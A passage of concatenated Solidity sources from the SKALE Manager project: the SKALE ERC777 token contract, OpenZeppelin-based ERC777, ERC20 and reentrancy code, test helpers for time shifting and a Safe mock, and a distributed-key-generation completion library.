be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; interface IMintableToken { function mint( address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleToken.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "./thirdparty/openzeppelin/ERC777.sol"; import "./Permissions.sol"; import "./interfaces/delegation/IDelegatableToken.sol"; import "./interfaces/IMintableToken.sol"; import "./delegation/Punisher.sol"; import "./delegation/TokenState.sol"; /** * @title SkaleToken * @dev Contract defines the SKALE token and is based on ERC777 token * implementation. */ contract SkaleToken is ERC777, Permissions, ReentrancyGuard, IDelegatableToken, IMintableToken { using SafeMath for uint; string public constant NAME = "SKALE"; string public constant SYMBOL = "SKL"; uint public constant DECIMALS = 18; uint public constant CAP = 7 * 1e9 * (10 ** DECIMALS); // the maximum amount of tokens that can ever be created constructor(address contractsAddress, address[] memory defOps) public ERC777("SKALE", "SKL", defOps) { Permissions.initialize(contractsAddress); } /** * @dev Allows Owner or SkaleManager to mint an amount of tokens and * transfer minted tokens to a specified address. * * Returns whether the operation is successful. * * Requirements: * * - Mint must not exceed the total supply. */ function mint( address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override allow("SkaleManager") //onlyAuthorized returns (bool) { require(amount <= CAP.sub(totalSupply()), "Amount is too big"); _mint( account, amount, userData, operatorData ); return true; } /** * @dev See {IDelegatableToken-getAndUpdateDelegatedAmount}. */ function getAndUpdateDelegatedAmount(address wallet) external override returns (uint) { return DelegationController(contractManager.getContract("DelegationController")) .getAndUpdateDelegatedAmount(wallet); } /** * @dev See {IDelegatableToken-getAndUpdateSlashedAmount}. */ function getAndUpdateSlashedAmount(address wallet) external override returns (uint) { return Punisher(contractManager.getContract("Punisher")).getAndUpdateLockedAmount(wallet); } /** * @dev See {IDelegatableToken-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) public override returns (uint) { return TokenState(contractManager.getContract("TokenState")).getAndUpdateLockedAmount(wallet); } // internal function _beforeTokenTransfer( address, // operator address from, address, // to uint256 tokenId) internal override { uint locked = getAndUpdateLockedAmount(from); if (locked > 0) { require(balanceOf(from) >= locked.add(tokenId), "Token should be unlocked for transferring"); } } function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) internal override nonReentrant { super._callTokensToSend(operator, from, to, amount, userData, operatorData); } function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal override nonReentrant { super._callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } // we have to override _msgData() and _msgSender() functions because of collision in Context and ContextUpgradeSafe function _msgData() internal view override(Context, ContextUpgradeSafe) returns (bytes memory) { return Context._msgData(); } function _msgSender() internal view override(Context, ContextUpgradeSafe) returns (address payable) { return Context._msgSender(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity ^0.6.0; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777Recipient.sol"; import "@openzeppelin/contracts/token/ERC777/IERC777Sender.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/math/SafeMath.sol"; Removed by SKALE // import "@openzeppelin/contracts/utils/Address.sol"; Removed by SKALE import "@openzeppelin/contracts-ethereum-package/contracts/introspection/IERC1820Registry.sol"; /* Added by SKALE */ import "../../Permissions.sol"; /* End of added by SKALE */ /** * @dev Implementation of the {IERC777} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * Support for ERC20 is included in this contract, as specified by the EIP: both * the ERC777 and ERC20 interfaces can be safely used when interacting with it. * Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token * movements. * * Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there * are no special restrictions in the amount of tokens that created, moved, or * destroyed. This makes integration with ERC20 applications seamless. */ contract ERC777 is Context, IERC777, IERC20 { using SafeMath for uint256; using Address for address; IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); mapping(address => uint256) private _balances; uint256 private _totalSupply; string private _name; string private _symbol; // We inline the result of the following hashes because Solidity doesn't resolve them at compile time. // See https://github.com/ethereum/solidity/issues/4024. // keccak256("ERC777TokensSender") bytes32 constant private _TOKENS_SENDER_INTERFACE_HASH = 0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895; // keccak256("ERC777TokensRecipient") bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; // This isn't ever read from - it's only used to respond to the defaultOperators query. address[] private _defaultOperatorsArray; // Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators). mapping(address => bool) private _defaultOperators; // For each account, a mapping of its operators and revoked default operators. mapping(address => mapping(address => bool)) private _operators; mapping(address => mapping(address => bool)) private _revokedDefaultOperators; // ERC20-allowances mapping (address => mapping (address => uint256)) private _allowances; /** * @dev `defaultOperators` may be an empty array. */ constructor( string memory name, string memory symbol, address[] memory defaultOperators ) public { _name = name; _symbol = symbol; _defaultOperatorsArray = defaultOperators; for (uint256 i = 0; i < _defaultOperatorsArray.length; i++) { _defaultOperators[_defaultOperatorsArray[i]] = true; } // register interfaces _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this)); _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this)); } /** * @dev See {IERC777-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC777-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {ERC20-decimals}. * * Always returns 18, as per the * [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility). */ function decimals() public pure returns (uint8) { return 18; } /** * @dev See {IERC777-granularity}. * * This implementation always returns `1`. */ function granularity() public view override returns (uint256) { return 1; } /** * @dev See {IERC777-totalSupply}. */ function totalSupply() public view override(IERC20, IERC777) returns (uint256) { return _totalSupply; } /** * @dev Returns the amount of tokens owned by an account (`tokenHolder`). */ function balanceOf(address tokenHolder) public view override(IERC20, IERC777) returns (uint256) { return _balances[tokenHolder]; } /** * @dev See {IERC777-send}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function send(address recipient, uint256 amount, bytes memory data) public override { _send(_msgSender(), recipient, amount, data, "", true); } /** * @dev See {IERC20-transfer}. * * Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient} * interface if it is a contract. * * Also emits a {Sent} event. */ function transfer(address recipient, uint256 amount) public override returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); address from = _msgSender(); _callTokensToSend(from, from, recipient, amount, "", ""); _move(from, from, recipient, amount, "", ""); _callTokensReceived(from, from, recipient, amount, "", "", false); return true; } /** * @dev See {IERC777-burn}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function burn(uint256 amount, bytes memory data) public override { _burn(_msgSender(), amount, data, ""); } /** * @dev See {IERC777-isOperatorFor}. */ function isOperatorFor( address operator, address tokenHolder ) public view override returns (bool) { return operator == tokenHolder || (_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) || _operators[tokenHolder][operator]; } /** * @dev See {IERC777-authorizeOperator}. */ function authorizeOperator(address operator) public override { require(_msgSender() != operator, "ERC777: authorizing self as operator"); if (_defaultOperators[operator]) { delete _revokedDefaultOperators[_msgSender()][operator]; } else { _operators[_msgSender()][operator] = true; } emit AuthorizedOperator(operator, _msgSender()); } /** * @dev See {IERC777-revokeOperator}. */ function revokeOperator(address operator) public override { require(operator != _msgSender(), "ERC777: revoking self as operator"); if (_defaultOperators[operator]) { _revokedDefaultOperators[_msgSender()][operator] = true; } else { delete _operators[_msgSender()][operator]; } emit RevokedOperator(operator, _msgSender()); } /** * @dev See {IERC777-defaultOperators}. */ function defaultOperators() public view override returns (address[] memory) { return _defaultOperatorsArray; } /** * @dev See {IERC777-operatorSend}. * * Emits {Sent} and {IERC20-Transfer} events. */ function operatorSend( address sender, address recipient, uint256 amount, bytes memory data, bytes memory operatorData ) public override { require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder"); _send(sender, recipient, amount, data, operatorData, true); } /** * @dev See {IERC777-operatorBurn}. * * Emits {Burned} and {IERC20-Transfer} events. */ function operatorBurn(address account, uint256 amount, bytes memory data, bytes memory operatorData) public override { require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder"); _burn(account, amount, data, operatorData); } /** * @dev See {IERC20-allowance}. * * Note that operator and allowance concepts are orthogonal: operators may * not have allowance, and accounts with allowance may not be operators * themselves. */ function allowance(address holder, address spender) public view override returns (uint256) { return _allowances[holder][spender]; } /** * @dev See {IERC20-approve}. * * Note that accounts cannot have allowance issued by their operators. */ function approve(address spender, uint256 value) public override returns (bool) { address holder = _msgSender(); _approve(holder, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Note that operator and allowance concepts are orthogonal: operators cannot * call `transferFrom` (unless they have allowance), and accounts with * allowance cannot call `operatorSend` (unless they are operators). * * Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events. */ function transferFrom(address holder, address recipient, uint256 amount) public override returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); require(holder != address(0), "ERC777: transfer from the zero address"); address spender = _msgSender(); _callTokensToSend(spender, holder, recipient, amount, "", ""); _move(spender, holder, recipient, amount, "", ""); _approve(holder, spender, _allowances[holder][spender].sub(amount, "ERC777: transfer amount exceeds allowance")); _callTokensReceived(spender, holder, recipient, amount, "", "", false); return true; } /** * @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * If a send hook is registered for `account`, the corresponding function * will be called with `operator`, `data` and `operatorData`. * * See {IERC777Sender} and {IERC777Recipient}. * * Emits {Minted} and {IERC20-Transfer} events. * * Requirements * * - `account` cannot be the zero address. * - if `account` is a contract, it must implement the {IERC777Recipient} * interface. */ function _mint( address account, uint256 amount, bytes memory userData, bytes memory operatorData ) internal virtual { require(account != address(0), "ERC777: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, amount); // Update state variables _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _callTokensReceived(operator, address(0), account, amount, userData, operatorData, true); emit Minted(operator, account, amount, userData, operatorData); emit Transfer(address(0), account, amount); } /** * @dev Send tokens * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _send( address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal { require(from != address(0), "ERC777: send from the zero address"); require(to != address(0), "ERC777: send to the zero address"); address operator = _msgSender(); _callTokensToSend(operator, from, to, amount, userData, operatorData); _move(operator, from, to, amount, userData, operatorData); _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } /** * @dev Burn tokens * @param from address token holder address * @param amount uint256 amount of tokens to burn * @param data bytes extra information provided by the token holder * @param operatorData bytes extra information provided by the operator (if any) */ function _burn( address from, uint256 amount, bytes memory data, bytes memory operatorData ) internal virtual { require(from != address(0), "ERC777: burn from the zero address"); address operator = _msgSender(); /* Chaged by SKALE: we swapped these lines to prevent delegation of burning tokens */ _callTokensToSend(operator, from, address(0), amount, data, operatorData); _beforeTokenTransfer(operator, from, address(0), amount); /* End of changed by SKALE */ // Update state variables _balances[from] = _balances[from].sub(amount, "ERC777: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Burned(operator, from, amount, data, operatorData); emit Transfer(from, address(0), amount); } function _move( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) private { _beforeTokenTransfer(operator, from, to, amount); _balances[from] = _balances[from].sub(amount, "ERC777: transfer amount exceeds balance"); _balances[to] = _balances[to].add(amount); emit Sent(operator, from, to, amount, userData, operatorData); emit Transfer(from, to, amount); } /** * @dev See {ERC20-_approve}. * * Note that accounts cannot have allowance issued by their operators. */ function _approve(address holder, address spender, uint256 value) internal { require(holder != address(0), "ERC777: approve from the zero address"); require(spender != address(0), "ERC777: approve to the zero address"); _allowances[holder][spender] = value; emit Approval(holder, spender, value); } /** * @dev Call from.tokensToSend() if the interface is registered * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) */ function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) /* Chaged by SKALE from private */ internal /* End of changed by SKALE */ /* Added by SKALE */ virtual /* End of added by SKALE */ { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH); if (implementer != address(0)) { IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData); } } /** * @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but * tokensReceived() was not registered for the recipient * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) /* Chaged by SKALE from private */ internal /* End of changed by SKALE */ /* Added by SKALE */ virtual /* End of added by SKALE */ { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH); if (implementer != address(0)) { IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData); } else if (requireReceptionAck) { require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient"); } } /** * @dev Hook that is called before any token transfer. This includes * calls to {send}, {transfer}, {operatorSend}, minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - when `from` is zero, `tokenId` will be minted for `to`. * - when `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address operator, address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: AGPL-3.0-only /* IDelegatableToken.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; /** * @dev Interface of the SkaleToken contract. */ interface IDelegatableToken { /** * @dev Returns and updates the amount of locked tokens of a given account `wallet`. */ function getAndUpdateLockedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the amount of delegated tokens of a given account `wallet`. */ function getAndUpdateDelegatedAmount(address wallet) external returns (uint); /** * @dev Returns and updates the amount of slashed tokens of a given account `wallet`. */ function getAndUpdateSlashedAmount(address wallet) external returns (uint); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC777TokensSender standard as defined in the EIP. * * {IERC777} Token holders can be notified of operations performed on their * tokens by having a contract implement this interface (contract holders can be * their own implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Sender { /** * @dev Called by an {IERC777} token contract whenever a registered holder's * (`from`) tokens are about to be moved or destroyed. The type of operation * is conveyed by `to` being the zero address or not. * * This call occurs _before_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the pre-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensToSend( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleTokenInternalTester.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../SkaleToken.sol"; contract SkaleTokenInternalTester is SkaleToken { constructor(address contractManagerAddress, address[] memory defOps) public SkaleToken(contractManagerAddress, defOps) // solhint-disable-next-line no-empty-blocks { } function getMsgData() external view returns (bytes memory) { return _msgData(); } } // SPDX-License-Identifier: AGPL-3.0-only /* TimeHelpersWithDebug.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "../delegation/TimeHelpers.sol"; contract TimeHelpersWithDebug is TimeHelpers, OwnableUpgradeSafe { struct TimeShift { uint pointInTime; uint shift; } TimeShift[] private _timeShift; function skipTime(uint sec) external onlyOwner { if (_timeShift.length > 0) { _timeShift.push(TimeShift({pointInTime: now, shift: _timeShift[_timeShift.length.sub(1)].shift.add(sec)})); } else { _timeShift.push(TimeShift({pointInTime: now, shift: sec})); } } function initialize() external initializer { OwnableUpgradeSafe.__Ownable_init(); } function timestampToMonth(uint timestamp) public view override returns (uint) { return super.timestampToMonth(timestamp.add(_getTimeShift(timestamp))); } function monthToTimestamp(uint month) public view override returns (uint) { uint shiftedTimestamp = super.monthToTimestamp(month); if (_timeShift.length > 0) { return _findTimeBeforeTimeShift(shiftedTimestamp); } else { return shiftedTimestamp; } } // private function _getTimeShift(uint timestamp) private view returns (uint) { if (_timeShift.length > 0) { if (timestamp < _timeShift[0].pointInTime) { return 0; } else if (timestamp >= _timeShift[_timeShift.length.sub(1)].pointInTime) { return _timeShift[_timeShift.length.sub(1)].shift; } else { uint left = 0; uint right = _timeShift.length.sub(1); while (left + 1 < right) { uint middle = left.add(right).div(2); if (timestamp < _timeShift[middle].pointInTime) { right = middle; } else { left = middle; } } return _timeShift[left].shift; } } else { return 0; } } function _findTimeBeforeTimeShift(uint shiftedTimestamp) private view returns (uint) { uint lastTimeShiftIndex = _timeShift.length.sub(1); if (_timeShift[lastTimeShiftIndex].pointInTime.add(_timeShift[lastTimeShiftIndex].shift) < shiftedTimestamp) { return shiftedTimestamp.sub(_timeShift[lastTimeShiftIndex].shift); } else { if (shiftedTimestamp <= _timeShift[0].pointInTime.add(_timeShift[0].shift)) { if (shiftedTimestamp < _timeShift[0].pointInTime) { return shiftedTimestamp; } else { return _timeShift[0].pointInTime; } } else { uint left = 0; uint right = lastTimeShiftIndex; while (left + 1 < right) { uint middle = left.add(right).div(2); if (_timeShift[middle].pointInTime.add(_timeShift[middle].shift) < shiftedTimestamp) { left = middle; } else { right = middle; } } if (shiftedTimestamp < _timeShift[right].pointInTime.add(_timeShift[left].shift)) { return shiftedTimestamp.sub(_timeShift[left].shift); } else { return _timeShift[right].pointInTime; } } } } } // SPDX-License-Identifier: AGPL-3.0-only /* SafeMock.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; contract SafeMock is OwnableUpgradeSafe { constructor() public { OwnableUpgradeSafe.__Ownable_init(); multiSend(""); // this is needed to remove slither warning } function transferProxyAdminOwnership(OwnableUpgradeSafe proxyAdmin, address newOwner) external onlyOwner { proxyAdmin.transferOwnership(newOwner); } function destroy() external onlyOwner { selfdestruct(msg.sender); } /// @dev Sends multiple transactions and reverts all if one fails. /// @param transactions Encoded transactions. Each transaction is encoded as a packed bytes of /// operation as a uint8 with 0 for a call or 1 for a delegatecall (=> 1 byte), /// to as a address (=> 20 bytes), /// value as a uint256 (=> 32 bytes), /// data length as a uint256 (=> 32 bytes), /// data as bytes. /// see abi.encodePacked for more information on packed encoding function multiSend(bytes memory transactions) public { // solhint-disable-next-line no-inline-assembly assembly { let length := mload(transactions) let i := 0x20 // solhint-disable-next-line no-empty-blocks for { } lt(i, length) { } { // First byte of the data is the operation. // We shift by 248 bits (256 - 8 [operation byte]) it right // since mload will always load 32 bytes (a word). // This will also zero out unused data. let operation := shr(0xf8, mload(add(transactions, i))) // We offset the load address by 1 byte (operation byte) // We shift it right by 96 bits (256 - 160 [20 address bytes]) // to right-align the data and zero out unused data. let to := shr(0x60, mload(add(transactions, add(i, 0x01)))) // We offset the load address by 21 byte (operation byte + 20 address bytes) let value := mload(add(transactions, add(i, 0x15))) // We offset the load address by 53 byte (operation byte + 20 address bytes + 32 value bytes) let dataLength := mload(add(transactions, add(i, 0x35))) // We offset the load address by 85 byte // (operation byte + 20 address bytes + 32 value bytes + 32 data length bytes) let data := add(transactions, add(i, 0x55)) let success := 0 switch operation case 0 { success := call(gas(), to, value, data, dataLength, 0, 0) } case 1 { success := delegatecall(gas(), to, data, dataLength, 0, 0) } if eq(success, 0) { revert(0, 0) } // Next entry starts at 85 byte + data length i := add(i, add(0x55, dataLength)) } } } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgAlright.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../ContractManager.sol"; import "../Wallets.sol"; import "../KeyStorage.sol"; /** * @title SkaleDkgAlright * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgAlright { event AllDataReceived(bytes32 indexed schainId, uint nodeIndex); event SuccessfulDKG(bytes32 indexed schainId); function alright( bytes32 schainId, uint fromNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage lastSuccesfulDKG ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); (uint index, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, fromNodeIndex, true); uint numberOfParticipant = channels[schainId].n; require(numberOfParticipant == dkgProcess[schainId].numberOfBroadcasted, "Still Broadcasting phase"); require( complaints[schainId].fromNodeToComplaint != fromNodeIndex || (fromNodeIndex == 0 && complaints[schainId].startComplaintBlockTimestamp == 0), "Node has already sent complaint" ); require(!dkgProcess[schainId].completed[index], "Node is already alright"); dkgProcess[schainId].completed[index] = true; dkgProcess[schainId].numberOfCompleted++; emit AllDataReceived(schainId, fromNodeIndex); if (dkgProcess[schainId].numberOfCompleted == numberOfParticipant) { lastSuccesfulDKG[schainId] = now; channels[schainId].active = false; KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainId); emit SuccessfulDKG(schainId); } } } // 